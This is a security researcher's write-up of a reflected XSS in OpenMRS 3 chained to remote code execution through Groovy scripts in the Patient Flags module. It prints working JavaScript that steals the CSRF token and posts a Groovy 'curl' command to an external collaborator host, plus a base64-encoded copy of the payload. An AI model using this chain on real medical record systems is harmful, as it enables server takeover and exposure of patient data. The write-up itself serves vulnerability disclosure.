Reflected XSS to Remote Code Execution in OpenMRS 3
OpenMRS is the world's leading open source Electronic Medical Records platform, sustained by a global community. It is a Java-based, web-based electronic medical record.
In this article, I will analyze a vulnerability I have found in OpenMRS 3, their next-generation EMR.
Despite that OpenMRS is a completely free open source but my current role in the team is to perform black-box penetration testing on the target so from the beginning I will not touch the source code yet. They have a very detailed guide for setting up the environment, everything can be found at their wiki site https://wiki.openmrs.org/ Luckily they already have demo sites for two versions OpenMRS 3 and OpenMRS 2 so I will go straight ahead from there.
My strategy is simple, from a black-box perspective, I will find any client-side vulnerability first, the most famous and easy to hunt is cross-site scripting (XSS) since I did not see any strong defense against it from both the client side and server side.
Log in to the site with the demo credentials, and access the Administration site, the number of functions is huge and complex so the chance for an XSS to happen is very high here.
I targeted finding a reflected XSS first because there are many functions related to monitoring and reporting in their system. After a run through some of the administrator functions, I quickly found an endpoint which vulnerable to reflected XSS. This function is used to help the administrator or any role members who have access to this function generate a quick report.
When click Generate Report
button, a GET
request is made to the /openmrs/moduleServlet/legacyui/quickReportServlet
endpoint with the reportType, startDate,endDate,location
parameters.
Easily can see that the value of the reportType
parameter was reflected in the response from the server. Try to inject some common XSS payload to see if the input was sanitized or not.
So no input validation was performed here, when a logged-in user accessed the malicious link from us, Java Script code will be executed on the victim browser.
Here we go again the most interesting part when we find a reflected XSS vulnerability, raising its impact by chaining with other functions or misconfiguration functions.
Several attack scenarios are possible here depending on who the victim is and what rights they have. Assuming we are targeting the admin on the site, we can mass account takeover by crafting a payload that changes any user's password. But not stopping there, I found a misconfiguration function that could lead to remote code execution on the server, so that it would be the perfect chain.
An interesting function that allows the administrator or any user with the role Manage Flags
create "flags" that generate warning messages in the Patient Dashboard.
We can create a flag that takes a Groovy script as its criteria. When referred to as a "Groovy script," it usually means a program or set of instructions written in the Groovy programming language. Groovy scripts can be used for various purposes, including automation, building scripts, and extending Java applications with dynamic scripting capabilities. Groovy is commonly used in conjunction with tools like Apache Groovy and Gradle for building and managing projects. Additionally, it is used in the context of scripting for various applications that support Groovy as a scripting language.
Since there is no syntax restriction here for running any kind of Groovy script, it is easy for us to gain remote code execution by sending a malicious Groovy script here. Although this is a feature and they are aware that sometimes the Groovy script could potentially be destructive (https://wiki.openmrs.org/display/docs/Patient+Flags+Module), but implementing it on a public demo environment will be also considered very insecure.
Let's try to see the request that creates a flag and execute the Groovy script. I guess that the application is running on a Ubuntu host due to the Server header and some exceptions on the request so using this Groovy script "curl http://569fi4ol3iaus0yqi1j39djlnct3hw5l.oastify.com".execute()
will trigger a curl to our Burp Suite Collaborator server. Other payloads can be found here https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
Save the flag and observe the request, although the server returns a 500 An Internal Error has Occurred
but the Groovy script was run before the unhandled exception happened so the command still ran successfully and no flag was created.
So now we will create a JavaScript code that reproduces the request in order to chain with our reflected XSS vulnerability.
You can use async/await
or XMLHttpRequest
to build this payload. Here I will use async/await
to write asynchronous code in a more linear and readable way.
Since this request is protected against the Cross-site Request Forgery vulnerability, first we need to define a function to extract the OWASP-CSRFTOKEN
value on the /openmrs/csrfguard
endpoint. The syntax is as follows.
const getCSRF = async () => {
const response = await fetch('/openmrs/csrfguard', {
method: 'GET'
});
const body = await response.text();
OWASP_CSRFTOKEN = body.match(/var\s+masterTokenValue\s*=\s*'([^']+)'/)[1];
console.log(OWASP_CSRFTOKEN);
return OWASP_CSRFTOKEN;
};
Next, we will define the second function for sending our remote code execution command. This function will send a POST
request to /openmrs/module/patientflags/editFlag.form
endpoint along with the OWASP_CSRFTOKEN
just obtained in the above request. Our remote code execution command was set to the criteria
parameter. The syntax is as follows.
const exploit = async (OWASP_CSRFTOKEN) => {
const rawResponse = await fetch('/openmrs/module/patientflags/editFlag.form', {
method: 'POST',
headers: {
'Accept': '*/*',
'Content-Type': 'application/x-www-form-urlencoded'
},
body: 'name=testrce&evaluator=groovy&customEvaluator=&criteria=%22curl+http%3A%2F%2F569fi4ol3iaus0yqi1j39djlnct3hw5l.oastify.com%22.execute%28%29&message=testrce&priority=&_tags=1&enabled=true&_enabled=on&OWASP-CSRFTOKEN=' + encodeURIComponent(OWASP_CSRFTOKEN),
});
const result = await rawResponse.text();
return result;
};
Declare a variable to exploit
to sequentially execute all these above functions.
const exploit = getCSRF().then(OWASP_CSRFTOKEN => rce(OWASP_CSRFTOKEN));
Combine all of these above JavaScript functions and base 64 encode them.
Y29uc3QgZ2V0Q1NSRiA9IGFzeW5jICgpID0+IHsKICAgIAljb25zdCByZXNwb25zZSA9IGF3YWl0IGZldGNoKCcvb3Blbm1ycy9jc3JmZ3VhcmQnLCB7CiAgICAgICAJCW1ldGhvZDogJ0dFVCcKICAgICAgICB9KTsKICAgICAgCWNvbnN0IGJvZHkgPSBhd2FpdCByZXNwb25zZS50ZXh0KCk7CiAgICAgICAgT1dBU1BfQ1NSRlRPS0VOID0gYm9keS5tYXRjaCgvdmFyXHMrbWFzdGVyVG9rZW5WYWx1ZVxzKj1ccyonKFteJ10rKScvKVsxXTsKICAgICAgICBjb25zb2xlLmxvZyhPV0FTUF9DU1JGVE9LRU4pOwogICAgICAgIHJldHVybiBPV0FTUF9DU1JGVE9LRU47Cn07Cgpjb25zdCByY2UgPSBhc3luYyAoT1dBU1BfQ1NSRlRPS0VOKSA9PiB7CiAgICBjb25zdCByYXdSZXNwb25zZSA9IGF3YWl0IGZldGNoKCcvb3Blbm1ycy9tb2R1bGUvcGF0aWVudGZsYWdzL2VkaXRGbGFnLmZvcm0nLCB7CiAgICAgICAgbWV0aG9kOiAnUE9TVCcsCiAgICAgICAgaGVhZGVyczogewogICAgICAgICAgICAnQWNjZXB0JzogJyovKicsCiAgICAgICAgICAgICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJwogICAgICAgIH0sCiAgICAgICAgYm9keTogJ25hbWU9dGVzdHJjZSZldmFsdWF0b3I9Z3Jvb3Z5JmN1c3RvbUV2YWx1YXRvcj0mY3JpdGVyaWE9JTIyY3VybCtodHRwJTNBJTJGJTJGdTk0MjU1Y3NyczVndmdsNG9hZ2VrcXJtaWRvNGN4MG0ub2FzdGlmeS5jb20lMjIuZXhlY3V0ZSUyOCUyOSZtZXNzYWdlPXRlc3RyY2UmcHJpb3JpdHk9Jl90YWdzPTEmZW5hYmxlZD10cnVlJl9lbmFibGVkPW9uJk9XQVNQLUNTUkZUT0tFTj0nICsgZW5jb2RlVVJJQ29tcG9uZW50KE9XQVNQX0NTUkZUT0tFTiksIAogICAgfSk7CiAgICBjb25zdCByZXN1bHQgPSBhd2FpdCByYXdSZXNwb25zZS50ZXh0KCk7CiAgICByZXR1cm4gcmVzdWx0Owp9OwoKY29uc3QgZXhwbG9pdCA9IGdldENTUkYoKS50aGVuKE9XQVNQX0NTUkZUT0tFTiA9PiByY2UoT1dBU1BfQ1NSRlRPS0VOKSk7
The full request looks like this.
After the victim accesses the malicious URL, an HTTP request will be made by curl to our Burp Collaborator server.
POC video